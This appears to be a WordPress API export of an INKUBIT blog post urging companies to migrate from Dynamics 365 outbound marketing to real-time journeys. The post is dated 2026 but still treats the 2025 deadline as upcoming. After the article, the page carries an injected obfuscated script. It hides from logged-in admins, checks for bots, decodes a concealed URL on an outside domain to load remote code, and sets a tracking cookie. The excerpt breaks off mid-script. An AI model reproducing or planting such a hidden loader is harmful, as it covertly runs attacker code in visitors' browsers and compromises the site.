{"id":22923,"date":"2026-08-25T17:11:31","date_gmt":"2026-08-25T15:11:31","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/outbound-marketing-is-switched-off\/"},"modified":"2026-08-25T17:11:31","modified_gmt":"2026-08-25T15:11:31","slug":"outbound-marketing-is-switched-off","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/outbound-marketing-is-switched-off\/","title":{"rendered":"Outbound marketing is switched off \u2013 Prevent marketing downtime and lead losses!"},"content":{"rendered":"<div class=\"thrv_wrapper thrv_text_element\">\n<p>Microsoft is discontinuing the previous &#8220;outbound marketing&#8221; in Dynamics 365 \u2013 and this has far-reaching consequences for companies that do not react in time. From <strong>June 30, 2025<\/strong> , outbound marketing will be disabled, which means: <\/p>\n<ul data-spread=\"false\">\n<li><strong>Data loss<\/strong>: All campaign data and configurations stored in Outbound Marketing can be lost if they are not migrated.<\/li>\n<li><strong>Marketing stagnation<\/strong>: Without a timely migration, there is a risk of interrupting all ongoing campaigns, which can lead to a drastic decline in customer communication.<\/li>\n<li><strong>Lost leads and lost revenue<\/strong>: Companies that don&#8217;t transition their marketing processes to real-time journeys run the risk of not optimally targeting valuable customer contacts and losing potential revenue.<\/li>\n<li><strong>High conversion effort under time pressure<\/strong>: If you wait until shortly before the deadline, you have to expect considerable effort to transfer all processes and data to the new platform in time \u2013 a risk of errors and operational problems.<\/li>\n<\/ul>\n<p data-pm-slice=\"1 1 []\">Now is the right time to act to avoid these risks and ensure a smooth transition. Read more on our <a href=\"https:\/\/www.inkubit.com\/hclp\/dynamics365-marketing-migration\/\">Dynamics 365 Marketing Migration<\/a> page. <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/outbound-marketing-is-switched-off\/#The_key_benefits_of_real-time_journeys\" >The key benefits of real-time journeys<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/outbound-marketing-is-switched-off\/#Critical_deadlines_and_transition_strategy_of_outbound_marketing\" >Critical deadlines and transition strategy of outbound marketing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/outbound-marketing-is-switched-off\/#The_next_steps_for_companies_with_outbound_marketing\" >The next steps for companies with outbound marketing<\/a><\/li><\/ul><\/nav><\/div>\n<h3><span class=\"ez-toc-section\" id=\"The_key_benefits_of_real-time_journeys\"><\/span>The key benefits of real-time journeys<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>With the shift to real-time journeys, companies benefit from numerous improvements:<\/p>\n<ul data-spread=\"false\">\n<li><strong>Personalized real-time interactions<\/strong>: Marketing campaigns can be adapted to customer behavior in real-time.<\/li>\n<li><strong>Improved segmentation &#038; AI-powered analytics<\/strong>: Deeper analysis of customer behavior enables more precise targeting.<\/li>\n<li><strong>Greater automation and flexibility: Campaigns<\/strong> can be made more dynamic and respond automatically to customer reactions.<\/li>\n<li><strong>Expanded communication channels<\/strong>: In addition to email, companies can use SMS and push notifications for a more direct customer approach.<\/li>\n<li><strong>Better integration into the Microsoft universe<\/strong>: Thanks to the close integration with Dynamics 365 and Azure, companies benefit from a powerful, scalable solution.<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Critical_deadlines_and_transition_strategy_of_outbound_marketing\"><\/span>Critical deadlines and transition strategy of outbound marketing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Time is of the essence: Companies should deal with the transition early on so as not to be forced to carry out an immature or hectic migration at the last minute.<\/p>\n<p>Important deadlines:<\/p>\n<ul data-spread=\"false\">\n<li><strong>The migration must be completed by June 30, 2025<\/strong> \u2013 after which Outbound Marketing will be deactivated.<\/li>\n<li><strong>INKUBIT offers migration tools &#038; support<\/strong> to make the transition easier.<\/li>\n<li><strong>Act now!<\/strong>  Companies should test and optimize early on to avoid interruptions in ongoing marketing operations.<\/li>\n<\/ul>\n<p><img decoding=\"async\" class=\"wp-image-15822 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-600x400.jpg\" alt=\"Outbound Marketing Migration\" width=\"600\" height=\"400\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-600x400.jpg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-105x70.jpg 105w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-300x200.jpg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-1024x683.jpg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-90x60.jpg 90w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1-272x181.jpg 272w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/02\/marketing-data-on-laptop-screen-2023-11-27-05-36-25-utc-1.jpg 1920w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/p>\n<h3><span class=\"ez-toc-section\" id=\"The_next_steps_for_companies_with_outbound_marketing\"><\/span>The next steps for companies with outbound marketing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ol start=\"1\" data-spread=\"false\">\n<li><strong>Inventory of current marketing strategies<\/strong>: Which processes still run via outbound marketing?<\/li>\n<li><strong>Use training and resources<\/strong>: Microsoft provides training materials and support for the switch.<\/li>\n<li><strong>Plan for early test phases<\/strong>: The parallel operation of old and new processes helps to identify problems at an early stage.<\/li>\n<li><strong>Implement migration gradually<\/strong>: Companies should strategically plan which processes will be migrated first.<\/li>\n<li><strong>Use advanced features<\/strong>: Take advantage of the new features of Real-time Journeys to make your marketing more efficient and customer-centric.<\/li>\n<\/ol>\n<p>The shift to real-time journeys is an opportunity to take marketing to a new level. Those who prepare now will benefit from more efficient processes, better customer experiences and higher competitiveness in the long term. <strong>Don&#8217;t wait until it&#8217;s too late \u2013 back up your data and campaigns now! <\/strong><a href=\"https:\/\/calendly.com\/inkubit\/microsoft-marketing-migration-2025\">Feel free to book an appointment with us<\/a> to get a joint overview of your migration in 30 minutes. <\/p>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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